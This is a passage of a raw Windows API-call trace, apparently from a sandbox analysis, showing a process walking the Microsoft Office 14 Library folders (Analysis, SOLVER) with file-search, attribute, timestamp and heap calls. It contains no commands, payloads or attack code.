BaseAddress=0xab7b50) returned 1 [0079.170] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0079.170] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7df8 [0079.170] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0079.170] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0079.172] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1887d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.172] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a1ecf00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0xfa1ae930, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6a1ecf00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x3bb60, dwReserved0=0x0, dwReserved1=0x0, cFileName="ANALYS32.XLL", cAlternateFileName="")) returned 1 [0079.172] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.172] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.172] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.172] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.172] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.172] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11ddb40 [0079.173] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7df8) returned 1 [0079.173] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c9760 [0079.173] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11ddc48 [0079.173] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.173] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a1ecf00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0xfa1fabf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6a1ecf00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0xe0c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ATPVBAEN.XLAM", cAlternateFileName="")) returned 1 [0079.173] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.173] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.173] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.173] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.174] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.174] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c9780 [0079.174] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11ddf60 [0079.174] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.174] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0xfa5ff110, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x6b62, dwReserved0=0x0, dwReserved1=0x0, cFileName="FUNCRES.XLAM", cAlternateFileName="")) returned 1 [0079.174] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.174] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.174] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.174] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.174] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.175] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c97a0 [0079.175] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11de068 [0079.175] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.175] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a1ecf00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6a1ecf00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0xcf2b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROCDB.XLAM", cAlternateFileName="")) returned 1 [0079.175] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.175] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.175] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.176] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.176] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.176] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c97c0 [0079.176] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11de170 [0079.176] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.176] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a1ecf00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6a1ecf00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0xcf2b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROCDB.XLAM", cAlternateFileName="")) returned 0 [0079.176] GetLastError () returned 0x12 [0079.176] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9080 [0079.176] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0079.176] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1887d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.176] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a1ecf00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0xfa1ae930, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6a1ecf00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x3bb60, dwReserved0=0x0, dwReserved1=0x0, cFileName="ANALYS32.XLL", cAlternateFileName="")) returned 1 [0079.176] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a1ecf00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0xfa1fabf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6a1ecf00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0xe0c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ATPVBAEN.XLAM", cAlternateFileName="")) returned 1 [0079.176] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0xfa5ff110, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x6b62, dwReserved0=0x0, dwReserved1=0x0, cFileName="FUNCRES.XLAM", cAlternateFileName="")) returned 1 [0079.176] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a1ecf00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6a1ecf00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0xcf2b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROCDB.XLAM", cAlternateFileName="")) returned 1 [0079.176] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a1ecf00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6a1ecf00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0xcf2b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROCDB.XLAM", cAlternateFileName="")) returned 0 [0079.176] GetLastError () returned 0x12 [0079.177] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0079.177] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0079.177] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11ddb40) returned 1 [0079.178] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0079.178] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0x51fe2db0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x62688, dwReserved0=0x0, dwReserved1=0x0, cFileName="EUROTOOL.XLAM", cAlternateFileName="")) returned 1 [0079.178] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa671530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SOLVER", cAlternateFileName="")) returned 1 [0079.178] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0079.178] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER" (normalized: "c:\\program files\\microsoft office\\office14\\library\\solver"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa671530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0079.178] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER" (normalized: "c:\\program files\\microsoft office\\office14\\library\\solver"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0079.178] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0079.178] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xacb2b8 [0079.178] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xacb2b8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xacb2b8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0079.179] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xacb2b8) returned 1 [0079.179] NtClose (Handle=0x164) returned 0x0 [0079.179] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0079.179] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0079.179] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0079.179] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.179] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9080 [0079.179] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa671530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.179] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x6c340, dwReserved0=0x0, dwReserved1=0x0, cFileName="SOLVER.XLAM", cAlternateFileName="")) returned 1 [0079.179] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7df8 [0079.180] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7df8) returned 1 [0079.180] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7df8 [0079.180] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7df8) returned 1 [0079.180] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7df8 [0079.180] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11ddb40 [0079.180] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0079.180] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c97e0 [0079.180] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11de278 [0079.180] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7df8) returned 1 [0079.180] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a1ecf00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6a1ecf00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x36158, dwReserved0=0x0, dwReserved1=0x0, cFileName="SOLVER32.DLL", cAlternateFileName="")) returned 1 [0079.180] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7df8 [0079.181] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7df8) returned 1 [0079.181] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7df8 [0079.181] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7df8) returned 1 [0079.181] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7df8 [0079.181] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7df8) returned 1 [0079.181] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a1ecf00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6a1ecf00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x36158, dwReserved0=0x0, dwReserved1=0x0, cFileName="SOLVER32.DLL", cAlternateFileName="")) returned 0 [0079.181] GetLastError () returned 0x12 [0079.181] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0079.181] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0079.181] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa671530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.181] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x6c340, dwReserved0=0x0, dwReserved1=0x0, cFileName="SOLVER.XLAM", cAlternateFileName="")) returned 1 [0079.181] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a1ecf00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6a1ecf00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x36158, dwReserved0=0x0, dwReserved1=0x0, cFileName="SOLVER32.DLL", cAlternateFileName="")) returned 1 [0079.181] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a1ecf00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6a1ecf00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x36158, dwReserved0=0x0, dwReserved1=0x0, cFileName="SOLVER32.DLL", cAlternateFileName="")) returned 0 [0079.182] GetLastError () returned 0x12 [0079.182] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.182] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0079.182] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11ddb40) returned 1 [0079.182] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0079.182] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa671530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SOLVER", cAlternateFileName="")) returned 0 [0079.182] GetLastError () returned 0x12 [0079.182] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.182] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0079.182] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa4f40) returned 1 [0079.182] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.183] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd5dfae80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xfafa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOGELEMS.DLL", cAlternateFileName="")) returned 1 [0079.183] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4ab4f00, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x82482540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb4ab4f00, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0xb590, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOGMODEL.MDL", cAlternateFileName="")) returned 1 [0079.183] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c850300, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd5e93400, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1c850300, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x77da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOGVIEW.DLL", cAlternateFileName="")) returned 1 [0079.183] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3ce9100, ftCreationTime.dwHighDateTime=0x1c21319, ftLastAccessTime.dwLowDateTime=0x6960cfd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc3ce9100, ftLastWriteTime.dwHighDateTime=0x1c21319, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOOKUP.DAT", cAlternateFileName="")) returned 1 [0079.183] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6ae6c00, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x582d2010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe6ae6c00, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x65da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MAPIPH.DLL", cAlternateFileName="")) returned 1 [0079.183] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd250400, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd250400, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x473d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MAPISHELL.DLL", cAlternateFileName="")) returned 1 [0079.183] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8c44700, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, 